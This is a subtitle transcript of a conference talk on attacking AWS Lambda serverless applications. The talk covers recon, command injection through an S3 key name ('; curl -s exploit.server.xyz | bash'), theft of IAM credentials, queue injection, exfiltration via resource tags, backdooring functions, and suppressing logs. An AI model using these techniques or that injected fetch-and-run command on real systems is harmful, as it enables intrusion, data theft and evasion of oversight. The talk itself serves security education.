0:00:00.000,0:00:13.280
preroll music
0:00:13.280,0:00:18.950
Herald: Like in the following talk I'm[br]happy to introduce Rich Jones. Rich is
0:00:18.950,0:00:25.010
gonna talk about what he can do in 60[br]milliseconds with server-less servers.
0:00:25.010,0:00:28.660
And please give a warm[br]round of applause for Rich!
0:00:28.660,0:00:36.350
applause
0:00:36.350,0:00:44.010
Rich: Hi everybody! Thank you very much[br]for having me, for CCC for hosting, for
0:00:44.010,0:00:48.940
you guys for coming out! I appreciate it.[br]My name is Rich Jones. I'm the founder and
0:00:48.940,0:00:55.600
CTO of gun.io. We find awesome freelance[br]gigs for free and open source hackers. I'm
0:00:55.600,0:01:02.540
also the author of ZAPPA. Which is the best [br]damn server-less framework in the world.
0:01:02.540,0:01:08.380
It can run any python web application on [br]AWS lambda. You can build event driven
0:01:08.380,0:01:16.140
applications you can connect roughly [br]500.000 connections per second globally.
0:01:16.140,0:01:22.170
Without any operations support right [br]out of the box for your existing apps.
0:01:22.170,0:01:29.320
I first announced it about 6 months[br]ago actually at Hack & Tell event at
0:01:29.320,0:01:34.630
C-Base and now it is like used in[br]production by all sorts of big companies
0:01:34.630,0:01:41.020
which is pretty cool! You should try it out.[br]Welcome to my talk, it is called Gone in
0:01:41.020,0:01:46.700
60 Milliseconds! aka having a sexy title[br]gets your talk accepted at conferences.
0:01:46.700,0:01:53.310
aka Intrusion and Exfiltration in[br]Server-less Architectures. Whoooh. What the
0:01:53.310,0:02:01.939
hell does that mean? Quick poll. Who here[br]is familiar with AWS Lambda? Okay, so
0:02:01.939,0:02:08.130
about half, that's pretty good. That's[br]what I was expecting. Okay, great. For the
0:02:08.130,0:02:14.650
unfamiliar, the good old days of servers.[br]You would have the web server it would
0:02:14.650,0:02:19.070
connect to the database and that was[br]pretty much it it would – you'd have the
0:02:19.070,0:02:23.910
server. You'd have one server, you'ld[br]probably run lots of services off that
0:02:23.910,0:02:30.710
server so if you found a debug panel or[br]something like that, you could use one of
0:02:30.710,0:02:35.530
your favorite tools, you could get a shell[br]and basically run a mock I know is the
0:02:35.530,0:02:44.140
best. With the server-less architecture[br]this one example it uses instead of a
0:02:44.140,0:02:49.720
permanent web-server it uses this service[br]called AWS Lambda which provides no
0:02:49.720,0:02:55.890
permanent infrastructure Your entire[br]application function is held in cache by
0:02:55.890,0:03:02.570
Amazon AWS and it's spawned and destroyed[br]on a per-request basis. So in the space of
0:03:02.570,0:03:07.780
a single web request or whatever function[br]request, it creates the container, returns
0:03:07.780,0:03:13.110
and destroys the container. The code[br]execution is triggered by a variety of
0:03:13.110,0:03:19.440
cloud event sources every request is in an[br]isolated container. I'm gonna put an
0:03:19.440,0:03:24.700
asterisk next to next to isolated as you[br]see. The big advantage for the company is
0:03:24.700,0:03:29.030
that it's super scalable. So, because one[br]request is one server it means that 10
0:03:29.030,0:03:32.342
requests is 10 servers and so on and so on[br]and so on. So you can scale this all the
0:03:32.342,0:03:37.370
way up to like trillions of events per[br]year which is pretty cool. It's also much
0:03:37.370,0:03:44.220
less expensive because you pay by the[br]millisecond .000002 dollars per
0:03:44.220,0:03:49.570
millisecond which interestingly is now the[br]same in euros keep an eye on that,
0:03:49.570,0:03:56.930
I was surprised by. Security patches to the[br]operating system are automatic because
0:03:56.930,0:04:00.630
Amazon handles them so there is basically[br]you don't worry about the operating system
0:04:00.630,0:04:05.920
at all you only worry about your single[br]function which saves time, saves money,
0:04:05.920,0:04:11.920
and lets you fire all people who work in[br]OPS. Some common patterns that you see for
0:04:11.920,0:04:16.798
companies and, you know, services are[br]using lambda. One is just the web server
0:04:16.798,0:04:22.950
this is like if you already use zappa for[br]a django CMS or something like this. It's
0:04:22.950,0:04:29.460
just API gateway, another AWS service to[br]lambda, which is the one we saw before
0:04:29.460,0:04:32.830
Another common way that people are using[br]this for asynchronous data processing.
0:04:32.830,0:04:37.330
So if you have a file upload, that will then[br]execute the lambda function which will
0:04:37.330,0:04:44.610
store the result in a DynamoDB store and[br]then have that trigger the upload to the
0:04:44.610,0:04:53.909
S3 return bucket. So this is kind of like[br]a very simple microservice type framework
0:04:53.909,0:05:00.320
that you can use lambda for. Chat bots is[br]another common use case So if you having a
0:05:00.320,0:05:05.000
SMS Message or an e-mail exchange with a[br]robot, it could be through lambda or one
0:05:05.000,0:05:10.759
of those cool new like echo things. Maybe[br]we will be able to like actually hack
0:05:10.759,0:05:15.770
through those in the future using some of[br]these techniques. So you can kind of see
0:05:15.770,0:05:21.780
that there. And the big one that a lot of[br]companies are using like fintech and
0:05:21.780,0:05:28.340
medical and science companies are using[br]for is is kind of the driving engine for
0:05:28.340,0:05:32.289
the state machine in big data processing.[br]This is kind of the interesting one that
0:05:32.289,0:05:39.240
we get into a little bit more later in the[br]talk So the lambda kind of drives the
0:05:39.240,0:05:47.069
queue which is how the like big data[br]processing like compute cluster is knowing
0:05:47.069,0:05:51.840
what to do. And there is loads more of[br]these patterns but those are some of the
0:05:51.840,0:05:57.060
ones that I've seen pretty commonly. So[br]when you try to attack these kind of
0:05:57.060,0:06:01.650
applications it probably won't work. And[br]even if it does work, it will shut down
0:06:01.650,0:06:07.629
immediately because they live in these[br]short lived isolated container which is
0:06:07.629,0:06:12.749
no fun. The container dies after the[br]function returns. Oh no! What does that
0:06:12.749,0:06:16.620
mean for us? Us hackers. I mean it is[br]harder to infiltrate because there is less
0:06:16.620,0:06:21.680
common code most of the stuff is custom so[br]far. You can't use the same wordpress
0:06:21.680,0:06:27.419
vulnerability over and over again. The[br]services are isolated, the functions are
0:06:27.419,0:06:33.680
isolated, there is no users to really[br]escalate on the system. There's no
0:06:33.680,0:06:37.870
sysadmins to, you know, do your cool cron[br]tricks or whatever, for gaining
0:06:37.870,0:06:44.940
escalation. It's also harder to persist[br]our malware because it immediately dies as
0:06:44.940,0:06:49.910
soon as the container closes. It is also a[br]read-only filesystem, so we can't hide our
0:06:49.910,0:06:56.229
files deep in the operating system And[br]it's only a sub-second lifecycle for the
0:06:56.229,0:07:01.439
entire container anyway. There is no[br]initialization system to infect because
0:07:01.439,0:07:08.169
that is all taken care of by amazon and we[br]can't get at it. It is also harder to
0:07:08.169,0:07:12.779
exfiltrate, because there is a thing[br]called the virtual private cloud AWS
0:07:12.779,0:07:18.259
provides. There's also function specific[br]roles which means a very strict
0:07:18.259,0:07:24.690
permissioning system. A lot times we can't [br]get a reverse shell because there is no network
0:07:24.690,0:07:30.400
access. So basically sad face. Oh no,[br]we're totally boned!
0:07:30.400,0:07:38.030
No we're not, hell not, dog. When Bezos [br]closes a door, he opens a window.
0:07:38.030,0:07:46.950
laughter[br]applause
0:07:46.950,0:07:53.259
So we gonna learn some recon, some[br]infiltration, some exploitation, some
0:07:53.259,0:08:01.090
exfiltration and a little bit of cleanup![br]Part 0: Recon aka How the hell do we know
0:08:01.090,0:08:06.389
what we're attacking? There's gonna be two[br]attack surfaces. An outer and inner attack
0:08:06.389,0:08:14.430
surface for a lambda function. The outer[br]attack surfaces are the API Gateway so if
0:08:14.430,0:08:20.569
you look at the headers and you see that[br]it's serving dynamic content from
0:08:20.569,0:08:26.340
CloudFront, that might an indication that[br]you're dealing with API Gateway.
0:08:26.340,0:08:30.430
File uploads is pretty easy if you look at[br]whatever the upload endpoint is and you
0:08:30.430,0:08:35.179
look at headers that says it is S3 that[br]probably means that it's S3. If you look at
0:08:35.179,0:08:38.620
the email headers that you you're[br]communication to the function with you can
0:08:38.620,0:08:44.550
see that it is Amazon SES so that is[br]pretty obvious. There is also the inner
0:08:44.550,0:08:49.060
attack surface. So these are services that[br]we can't access directly, but provide
0:08:49.060,0:08:54.630
event sources for the function, so this[br]can mean a whole bunch of stuff, so queues
0:08:54.630,0:08:59.250
if there are a lot of long running tasks[br]and it's on AWS, it is possible that they
0:08:59.250,0:09:05.480
are using the SQS queing system. But it[br]can also mean database events, streams of
0:09:05.480,0:09:10.480
information, user events, so logins and[br]user creations and stuff like that can
0:09:10.480,0:09:17.710
also be an event source. And the log[br]system itself can provide an event source.
0:09:17.710,0:09:25.980
Part 1 infiltration aka how the hell are[br]we gonna weaponize all that? So lambda
0:09:25.980,0:09:30.990
functions essentially what the application[br]is, is kind of like a blue ball machine here.
0:09:30.990,0:09:37.770
What we call Rube Goldberg machines.[br]I just learned, for the translators, that
0:09:37.770,0:09:43.200
you guys call these nonsense machines.[br]Essentially lots of little functions and a
0:09:43.200,0:09:48.080
lot of passing information between them.[br]So to figure out what's going on, we're
0:09:48.080,0:09:54.560
going to use a process of destructive[br]mechanics aka dropping a bolt into the
0:09:54.560,0:09:58.330
engine and then listening to the sound[br]that it makes to try to figure out what is
0:09:58.330,0:10:06.130
going on inside. The TL;DR of that is we[br]gonna attack the event sources themselves,
0:10:06.130,0:10:10.850
we're going to fire off every type of[br]cloud event service that we can and
0:10:10.850,0:10:18.010
basically see what shakes out. The usual[br]suspects for infection, unsanitized input,
0:10:18.010,0:10:25.090
deserialization bugs of all, you know all[br]varieties, server side script injection,
0:10:25.090,0:10:30.280
malicious binary files, and if it is a web[br]server, most of your favorite web
0:10:30.280,0:10:35.660
application type exploits. So just as a[br]very trivial example of the kind of things
0:10:35.660,0:10:43.630
that you might see here, So here is some[br]trivially vulnerable code it's connecting
0:10:43.630,0:10:51.600
to an S3 bucket, it's going over the items[br]and it's calling some process on the keys
0:10:51.600,0:10:59.310
that are in the bucket. But what happens[br]if we create an object called: "; curl -s
0:10:59.310,0:11:04.940
exploit.server.xyz | bash" well than[br]that's gonna expand because it is just
0:11:04.940,0:11:13.200
using the key name to call, you know, our[br]exploit code on the lambda function.
0:11:13.200,0:11:22.160
Hurray! we did it! Part 2 exploitation aka[br]how can we escalate our infection? aka
0:11:22.160,0:11:28.810
what the hell is a lambda? aka what's[br]worth stealing? So if we actually find,
0:11:28.810,0:11:31.970
you know, if we just look at the operating[br]system of a lambda, now that we're able to
0:11:31.970,0:11:36.730
execute commands on it. Well that won't[br]work as we don't have a shell, everything
0:11:36.730,0:11:46.150
on lambda had this event context pattern[br]in it, whatever but if we do the find and
0:11:46.150,0:11:52.680
we look at it, it pretty much looks like[br]standard redhat 6 installation it's got
0:11:52.680,0:11:57.760
python 2.7, interestingly it has python[br]3.4 on it, it's got node, it's got perl,
0:11:57.760,0:12:04.140
it's got gcc, it's got all you know, stuff[br]that we like. Which is pretty good. If we
0:12:04.140,0:12:08.390
look at the system even further, we'll see[br]that it's running an operating system
0:12:08.390,0:12:14.890
called Amazon Linux, which is the default[br]for EC2, so maybe it's an EC2 server.
0:12:14.890,0:12:20.870
If it's an EC2 server, can we access the[br]metainfo server? That's a good idea! For
0:12:20.870,0:12:25.521
For those who don't know about the meta-[br]data server, from Amazon docs: Instance
0:12:25.521,0:12:29.330
metadata is data about your instance that[br]you can use to configure or manage the
0:12:29.330,0:12:33.450
running instance, anyone who can access[br]the instance can view its metadata.
0:12:33.450,0:12:38.220
Therefore, you should take suitable[br]precautions to protect sensitive data aka
0:12:38.220,0:12:41.620
don't get hacked, because people can look[br]at this stuff. We can figure out all this
0:12:41.620,0:12:46.331
information including keys and users and[br]security groups so, you know, really good,
0:12:46.331,0:12:53.280
good intel. What happens if we try to[br]access the server? It doesn't work, so,
0:12:53.280,0:12:57.170
sorry. But that's a good trick to remember[br]if you are attacking EC2, that you can get
0:12:57.170,0:13:01.899
a lot of information out of the metainfo[br]server. Now you're thinking, well let's take a
0:13:01.899,0:13:06.040
look at the environment, let's look around[br]what's in the environment variables.
0:13:06.040,0:13:10.360
Quite a lot actually including some inter-[br]esting stuff like session tokens, security
0:13:10.360,0:13:17.080
tokens, access key IDs and secret access [br]keys. So that's pretty cool. What are
0:13:17.080,0:13:25.260
those? Enter IAM, so this is Amazons[br]identity and access management system
0:13:25.260,0:13:32.670
which provides per resource authentication[br]and authorisation definition. So basically
0:13:32.670,0:13:39.370
1 task is gonna have 1, you know, set of[br]authorisation to perform its functions.
0:13:39.370,0:13:46.470
It sounds bad, it is. Like it makes our [br]job a lot harder. The good news is that
0:13:46.470,0:13:51.260
it's super easy to fuck up! Pretty much[br]everybody who's using IAM has probably
0:13:51.260,0:13:56.290
fucked up. Especially if you read the[br]documentations which Amazon provides which
0:13:56.290,0:14:02.930
is terrible, or even badder if they got[br]their information from the AWS forum where
0:14:02.930,0:14:09.170
you can find like real gems of wisdom[br]about give everybody access to everything,
0:14:09.170,0:14:13.640
which is nice. So full disclosure,[br]everything all the fun stuff that we're
0:14:13.640,0:14:20.000
gonna do, does depend on them having[br]some misconfigured IAM even subtly
0:14:20.000,0:14:26.780
misconfigured IAM which isn't as cool, I[br]have to admit but it's pretty common, so I
0:14:26.780,0:14:32.610
don't think it's unreasonable to have[br]that, be part of our attack criteria.
0:14:32.610,0:14:38.600
So what the keys that we saw, were part of[br]the lambda execution policy which uses
0:14:38.600,0:14:43.670
this permission called iam:PassRole[br]basically you take a predefined policy for
0:14:43.670,0:14:48.120
what a function is allowed to do. It[br]creates a temporary user with those
0:14:48.120,0:14:52.930
permissions and gives the credentials for[br]that user into the userspace in those
0:14:52.930,0:14:59.820
environment variables that we saw. So this[br]is one of the ones that Amazon recommends,
0:14:59.820,0:15:07.590
this is the AWS VPCAccessExecutionRole[br]this is from Amazons documentation and
0:15:07.590,0:15:13.880
this actually provides some interesting[br]things that we're gonna be able to use.
0:15:13.880,0:15:19.200
Resource:* is a great one because that[br]means we have access to everything
0:15:19.200,0:15:23.360
available to the account We will need to[br]create log groups and streams, which is
0:15:23.360,0:15:27.320
kind of interesting. Describing the[br]network interface is also super
0:15:27.320,0:15:31.670
interesting for us. And this will come in[br]handy later. Okay, so we can describe the
0:15:31.670,0:15:37.000
network What about actually like infecting[br]the application source? Like we wanna add
0:15:37.000,0:15:40.300
a backdoor. But first, where does the code[br]live? So we check the environment
0:15:40.300,0:15:48.910
variables again we see this key value for[br]LAMBDA_TASK_ROOT which is good so we will
0:15:48.910,0:15:54.450
just cat our backdoor into the application[br]No that is not gonna work. Sad face,
0:15:54.450,0:15:59.601
because it's a read-only filesystem. [br]And even if you could, write to that, you
0:15:59.601,0:16:05.360
know, write to the filesystem, it's not[br]gonna persist for other users who, to call
0:16:05.360,0:16:09.370
the function because it's not cached in[br]memory so it would only live for the span
0:16:09.370,0:16:14.620
of a single HTTP request which we don't[br]care about. But, I got all of these cool,
0:16:14.620,0:16:20.810
like hacker tools I wanna install on the[br]system how do I do that? Fortunately there
0:16:20.810,0:16:25.250
is /tmp space on the disk because some,[br]you know, normal applications are gonna
0:16:25.250,0:16:31.650
need to read and write files and stuff so[br]/tmp is totally readable and it works as
0:16:31.650,0:16:39.990
we'd expected to. Amazon describes this as[br]ephemeral disk capacity. But ephemeral
0:16:39.990,0:16:46.560
isn't quite true actually, because this is[br]how lambda executions are not completely
0:16:46.560,0:16:54.070
isolated. For performance reasons they're[br]actually cached in Amazons memory across
0:16:54.070,0:17:00.920
different executions. So because /tmp is a[br]ram disk, and because ram is cached that
0:17:00.920,0:17:07.730
means that /tmp is cached as well, so if[br]we can store our tools across multiple
0:17:07.730,0:17:14.299
executions. Yay! But the caveat for that is[br]that we have to keep the function warm in
0:17:14.299,0:17:20.780
memory by calling it every so often That[br]length of time is 4 minutes, 30 seconds
0:17:20.780,0:17:25.329
Somebody violated an NDA to tell you that,[br]don't ask me
0:17:25.329,0:17:28.009
laughing
0:17:28.009,0:17:33.059
applause
0:17:33.059,0:17:36.630
What's cool is this actually can also[br]apply to long running processes aswell.
0:17:36.630,0:17:43.129
It won't keep the function open, but it[br]will, kind of, pause the process and then
0:17:43.129,0:17:51.549
reopen it on the next execution. So now we[br]can install, if we have linux x86_64
0:17:51.549,0:17:56.980
compiled versions of all our favorite[br]tools we could put them on to the lambda
0:17:56.980,0:18:02.320
function and start calling it. Okay, so[br]now we got some keys, we got some tools,
0:18:02.320,0:18:07.549
what can we do? So the first thing that we[br]probably wanna do, is just see what we're
0:18:07.549,0:18:14.940
allowed to do. Using the AWS CLI tool we[br]can call this code and we will get back a
0:18:14.940,0:18:21.819
policy, and if we're lucky, it 'll be [br]** and then we can do whatever we want.
0:18:21.819,0:18:28.890
Jackpot! We can create a new admin user[br]and pillage all the databases basically,
0:18:28.890,0:18:36.759
it's game over! Yeah right! Maybe it'll[br]happen probably yeah right. A very brief
0:18:36.759,0:18:42.660
interlude. If you do get the jackpot, if[br]you are looking at Facebook's AWS usage and
0:18:42.660,0:18:49.380
you get *****. Don't sell the user info to[br]spammers. Don't claim a bug bounty. Don't
0:18:49.380,0:18:55.789
just like use their creditcard to mine[br]bitcoin. Don't tell, you know, your
0:18:55.789,0:19:02.370
favorite TLA. Don't even send all the[br]information to Julian, he's busy. Bug
0:19:02.370,0:19:07.260
bounties are boring. Espionage is boring.[br]I'm tired of all this like spy vs spy stuff.
0:19:07.260,0:19:12.689
Use your skills of infection for awesome.[br]Put up a bad-ass hacking crew name, you know.
0:19:12.689,0:19:15.549
laughing
0:19:15.549,0:19:19.570
Put spooky skulls, put a bunch of[br]spooky skulls on facebook.
0:19:19.570,0:19:25.370
Put your IRC homies, know what's up[br]applause
0:19:25.370,0:19:32.220
I'm pretty serious about this, actually.[br]Like I think the word losing some like
0:19:32.220,0:19:37.070
aesthetic quality to our culture in[br]pursuit of like money and like you know,
0:19:37.070,0:19:43.950
careers and stuff like that. But I think[br]the aesthetic value actually has like more
0:19:43.950,0:19:49.309
worth and that over time is like, the[br]broader community begins to respect like
0:19:49.309,0:19:54.760
our aesthetic contributions, like the[br]those hacks will actually be worth more in
0:19:54.760,0:20:02.510
the long run than any bug bounty that you[br]'ll get now. So like keep it real, anyway,
0:20:02.510,0:20:03.620
that was my side.
0:20:03.620,0:20:09.010
applause
0:20:09.010,0:20:17.080
So far more likely than ., you gonna get[br]some kind of like strict permission, like
0:20:17.080,0:20:23.179
the ability to access S3 objects, or the[br]the ability to access the database, or
0:20:23.179,0:20:29.879
some combination thereof using various,[br]different cloud services available. How
0:20:29.879,0:20:34.149
can we use that for nefarious purposes you[br]wondering. That's a great question. Part 3:
0:20:34.149,0:20:41.809
Exfiltration aka take the money and run[br]aka the fun part. TL;DR when you don't have
0:20:41.809,0:20:46.610
a direct network connection, to the things[br]that you wanna access, because you using a
0:20:46.610,0:20:52.110
cloud provider, you can use tags, meta[br]information, and the cloud services
0:20:52.110,0:20:58.580
themselves to shuttle information out of[br]the cloud. So easy mode for instance, if we
0:20:58.580,0:21:04.679
see that we have SES permissions, send,[br]use the email, send, you know, we have a
0:21:04.679,0:21:08.029
single function that will let us send an[br]email out because it's a cloud provider
0:21:08.029,0:21:14.080
that has an e-mail service. Or send a SMS,[br]you know, you could actually, you can hack
0:21:14.080,0:21:21.080
something and get the results back to your[br]virtual cellphone. Slightly harder, if you
0:21:21.080,0:21:27.630
just have S3 objects, you could, you know,[br]zip up the source of the application, put
0:21:27.630,0:21:37.470
it on S3 and get it out that way. The fun[br]thing is VPC exfiltration. So this is the
0:21:37.470,0:21:40.320
architecture that we were talking about[br]before It's a simple vibration but this is
0:21:40.320,0:21:46.409
this is a pretty common architecture for[br]big data using lambda. What is a VPC?
0:21:46.409,0:21:50.850
Great question! Amazon VPC provides[br]advanced security features such as
0:21:50.850,0:21:55.529
security groups and network access control[br]lists to enable inbound and outbound
0:21:55.529,0:22:01.580
filtering at the instance level and subnet[br]level. Sounds bad. It is. The good news.
0:22:01.580,0:22:08.009
Super easy to fuck up! Especially if you[br]read Amazons old docs and the AWS forum.
0:22:08.009,0:22:16.309
So lambda has access to these VPC resources. [br]aka Lambda is our VPC hole puncher.
0:22:16.309,0:22:20.610
If you're, you know, depending on how[br]they've implemented it, this may actually
0:22:20.610,0:22:27.269
mean that Amazon can access your internal[br]corporate network, which is pretty cool.
0:22:27.269,0:22:30.970
But we don't actually even need to use the[br]network to do that, so I'm not gonna show
0:22:30.970,0:22:36.429
you how to do that one, you figure that[br]out on your own, to exfil from a VPC
0:22:36.429,0:22:42.529
without touching the VPC network. So this[br]is our architecture. Step 1, upload the
0:22:42.529,0:22:49.590
malicious file, like I've indicated here[br]with a cool cyber skull. This will give us
0:22:49.590,0:22:56.379
code execution in the Lambda environment.[br]We gonna put out a bunch of canaries. So
0:22:56.379,0:23:02.519
we're gonna try calling SMS, e-mail, DNS,[br]S3, queues, everything that is available
0:23:02.519,0:23:07.049
to us, just try to put some information[br]out that we can read back. In this case we
0:23:07.049,0:23:12.960
see that we can type our results into the[br]bucket, so we can get information that way.
0:23:12.960,0:23:18.550
So we have bidirectional communication [br]to an owned lambda service.
0:23:18.550,0:23:24.250
When we use the keys that we've exfiltrated[br]that way, we look at the policy,
0:23:24.250,0:23:29.879
we see that we have the lambda VPC[br]access execution role from earlier, with
0:23:29.879,0:23:35.190
resource * which is nice and our[br]DescribeNetworkInterfaces create network
0:23:35.190,0:23:38.809
interfaces permessions that we saw[br]earlier, that Amazon recommends as well as
0:23:38.809,0:23:46.150
simple S3 and SQS access just for the[br]necessary functions that we want for the
0:23:46.150,0:23:53.330
application. Our target in this case is the[br]database which is still inside the VPC, so
0:23:53.330,0:23:58.850
we no access to, direct access to the[br]database from our lambda execution
0:23:58.850,0:24:03.899
environment because it's all wrapped up in[br]this VPC. But what we can do is, we can
0:24:03.899,0:24:11.940
add things to the SQS queue. And if they're[br]using Celery, actually uses pickle, is a
0:24:11.940,0:24:17.029
way to shuttle information about – for the[br]javascript developers, it's a bit like
0:24:17.029,0:24:23.999
using eval to figure out javascript. So if[br]we're able to add something, to, or, this
0:24:23.999,0:24:27.989
is kind of manoeuvrer, like this is use [br]whatever technique that,
0:24:27.989,0:24:33.789
you know, you prefer from there [br]to get your code on to the cluster
0:24:33.789,0:24:40.070
but we're gonna use this pickle celery bug[br]to create an item on the queue,
0:24:40.070,0:24:45.909
a malicious item on the queue, that will[br]then be picked up and run on the compute
0:24:45.909,0:24:51.470
cluster. So now we have code execution on[br]the cluster, but we have no way to
0:24:51.470,0:24:56.389
actually directly communicating to it,[br]because we're locked out of the VPC. What
0:24:56.389,0:25:01.549
do we do now? So the interesting this is[br]actually use meta information about the
0:25:01.549,0:25:08.330
VPC to exfil the information that we want,[br]so because we have the ability to describe
0:25:08.330,0:25:17.860
network interfaces, inside the VPC, we[br]call, we add tags, to this, to the EC2
0:25:17.860,0:25:22.149
instances and the network interfaces to[br]which they communicate. A lot of times
0:25:22.149,0:25:26.820
they have this permission because tagging[br]is useful for the admins who wanna see
0:25:26.820,0:25:33.700
what groups are owning what So we can add[br]the meta information about that to the
0:25:33.700,0:25:38.389
network interface itself because the[br]lambda has the ability to read these tags
0:25:38.389,0:25:43.140
back out, we can then get the information[br]that we want, we can put it through the S3
0:25:43.140,0:25:49.999
and we can extract the information[br]this way. So nice! This also works for the
0:25:49.999,0:25:56.000
application binaries because we can encode[br]something in Base64 and then put that in
0:25:56.000,0:26:03.669
the tag set, and get that out that way[br]Which is nice! Similarly is the compute
0:26:03.669,0:26:08.509
cluster able to modify DNS entries that we[br]can read, or is it able to create a named
0:26:08.509,0:26:14.009
log groups, is it able to create queues,[br]is it able to create buckets, etc, etc be
0:26:14.009,0:26:19.480
creative with the AWS services the're[br]available, there is lots! And a single
0:26:19.480,0:26:23.149
overlapping permission can be enough In[br]fact, even a single overlapping service
0:26:23.149,0:26:29.799
can be enough for information exfiltration[br]for instance you can encode information in
0:26:29.799,0:26:34.080
the length of the queue and then read that[br]back out you could use the same thing with
0:26:34.080,0:26:37.889
the number of number of network interfaces[br]that are available besides of the
0:26:37.889,0:26:43.419
database, anything like that. So that's[br]pretty cool! What if they fix the bug?
0:26:43.419,0:26:48.039
Persistence, aka how can we permanently[br]infect a system with no permanent
0:26:48.039,0:26:54.210
infrastructure? aka abusing cloud vendor[br]features, continued. One neat lambda
0:26:54.210,0:26:57.639
feature that is available is the idea of[br]function aliasing so Amazon will
0:26:57.639,0:27:02.100
automatically give you like labels for the[br]available functions, and store all of the
0:27:02.100,0:27:07.249
old functions with aliases for you, which[br]is useful for, you know, application
0:27:07.249,0:27:11.279
maintainers because they can provide[br]rollbacks and something goes wrong, they
0:27:11.279,0:27:15.509
can tag their dev and prod and staging[br]environments and stuff like that as an
0:27:15.509,0:27:22.059
audit trail. But we can also use it to[br]persist our malware. So we can get the
0:27:22.059,0:27:26.989
function, get the source code for any[br]function that's available this way, we can
0:27:26.989,0:27:33.450
upload a backdoored version of that and[br]then alias it to one of those previous
0:27:33.450,0:27:38.809
functions and hide it there if we need to[br]access it without having it, be uploaded
0:27:38.809,0:27:42.350
every time. An alternate route, which is[br]especially useful if the application is
0:27:42.350,0:27:47.029
being deployed by travis, or some CI[br]system, anything that uses CloudFormation.
0:27:47.029,0:27:54.080
CloudFormation requires the code to be[br]hosted on S3 permanently, for doing it's
0:27:54.080,0:27:59.130
update function. So if we just infect the[br]code that's on S3, the next time that the
0:27:59.130,0:28:06.590
CI updates the application stack, it'll[br]use our infected code, which is useful.
0:28:06.590,0:28:11.109
This is cool because if we have access to[br]the code buckets, than we can actually use
0:28:11.109,0:28:16.570
a single infected lambda to infect all the[br]other lambda functions that are available
0:28:16.570,0:28:23.159
in the stack. One better is to actually[br]treat the entire model serverlessly.
0:28:23.159,0:28:29.630
So imagine if we have a simple application[br]using the Foo lambda that's triggered when
0:28:29.630,0:28:35.960
there is a SQS event. Which is actually[br]gonna be one function and then all the old
0:28:35.960,0:28:42.610
functions aliased all the way back to[br]function 1. So if we can infect this one
0:28:42.610,0:28:50.119
with some bug that we're exploiting, and[br]we're able to create a backdoored function
0:28:50.119,0:28:54.450
we can use the same code, create the new[br]function, but it's backdoored, and then
0:28:54.450,0:29:00.419
alias that back to the first function[br]that'll now contain our backdoored code,
0:29:00.419,0:29:07.109
we can create an event trigger, so that[br]whenever new code is updated, is submitted
0:29:07.109,0:29:12.029
to the S3 bucket where the functions are[br]registered, that will actually trigger the
0:29:12.029,0:29:19.320
execution of our malware, which will get[br]the code of the new function infected with
0:29:19.320,0:29:24.840
our backdoor, recreate the function,[br]delete the new one, and then we have, you
0:29:24.840,0:29:30.390
know, our backdoored version of the latest[br]code that is permanently available for
0:29:30.390,0:29:37.960
every request, new code uploads are the[br]trigger for reinfection of our malware.
0:29:37.960,0:29:42.960
Part 5 cleaning up I'll go fast here, is[br]boring. Full disclosure, I'm not very
0:29:42.960,0:29:49.769
tidy, so be careful with all this stuff if[br]you need to be real stealthy. All lambda
0:29:49.769,0:29:53.230
executions have unique execution IDs, if[br]you just write them down, you can delete
0:29:53.230,0:29:58.320
them later. But the errors there still[br]gonna trigger the CloudWatch alarms, so
0:29:58.320,0:30:04.569
can you hop off the log group, that's also[br]available in the environment variables?
0:30:04.569,0:30:09.489
No you can't, but you can change the[br]retention policy, so, maybe we can just
0:30:09.489,0:30:14.210
have it's own, and hopefully they don't[br]look at logs. That's not very good, a
0:30:14.210,0:30:20.539
better technique is actually to don't log[br]anything to begin with. So because these
0:30:20.539,0:30:25.679
functions have extremely limited memory[br]size, cause they only build to do one
0:30:25.679,0:30:31.859
thing, if we exhaust the memory of the[br]function, there's not enough memory to
0:30:31.859,0:30:39.119
actually do the logging properly, so if we[br]wrap all of our canary code inside of
0:30:39.119,0:30:44.299
exception handlers, that'll then just[br]allocate all the memory that's available,
0:30:44.299,0:30:49.229
then it doesn't count as an invocation[br]error and it won't actually register ...
0:30:49.229,0:30:54.889
applause
0:30:54.889,0:31:00.160
Shout out to Dee, he told me that trick, [br]my friend. One copy out of this, one
0:31:00.160,0:31:06.450
pattern is to... time did go super fast...[br]if they are logging everything, the flip
0:31:06.450,0:31:09.630
side of that is that they're logging[br]everything so that you can go and get
0:31:09.630,0:31:16.190
everybodys password and stuff, so that's[br]fun. Part 6 synthesis happy Christmas,
0:31:16.190,0:31:24.379
everybody, ho ho ho, I'm Santa Claus and[br]I'm giving you a present I'm giving you an
0:31:24.379,0:31:29.879
AWS Lambda Infection Toolkit! Call mackenzie[br]you can figure out why on your own.
0:31:29.879,0:31:37.400
It can do a lot of the tricks that we[br]talked about today. Exfil, infiltration,
0:31:37.400,0:31:43.380
creating reinfection handlers, all the[br]stuff, maybe your feature, put it on
0:31:43.380,0:31:48.950
github this afternoon, check it out! In[br]conclusion, server-less architectures present
0:31:48.950,0:31:53.350
new obstacles, but we can defeat those[br]obstacles by abusing cloud features
0:31:53.350,0:31:56.740
themselves. Do you need secure serverless[br]apps, you should hire me.
0:31:56.740,0:31:57.740
laughing
0:31:57.740,0:32:01.379
Do you want to contribute code, you should[br]check out my github. You should also check
0:32:01.379,0:32:04.609
out the slack channel. Shout out to[br]everybody in the zappa slack, is a ton of
0:32:04.609,0:32:09.900
super smart AWS people doing interesting[br]things in there, thank you!
0:32:09.900,0:32:12.070
applause
0:32:12.070,0:32:16.039
Herald: Allright, perfect.
0:32:16.039,0:32:19.179
applause
0:32:19.179,0:32:24.890
Herald: Thanks a lot Rich. Unfortunately we don't[br]have any time left for Q&A, but, are you
0:32:24.890,0:32:28.760
gonna be around for questions, perfect.[br]So if you are in the room, you can just
0:32:28.760,0:32:35.839
come, ask Rich questions, if you are[br]remote, you've seen the contact possibilities.
0:32:37.529,0:32:43.026
closing music
0:32:43.026,0:33:02.000
subtitles created by c3subtitles.de[br]in the year 2017. Join, and help us!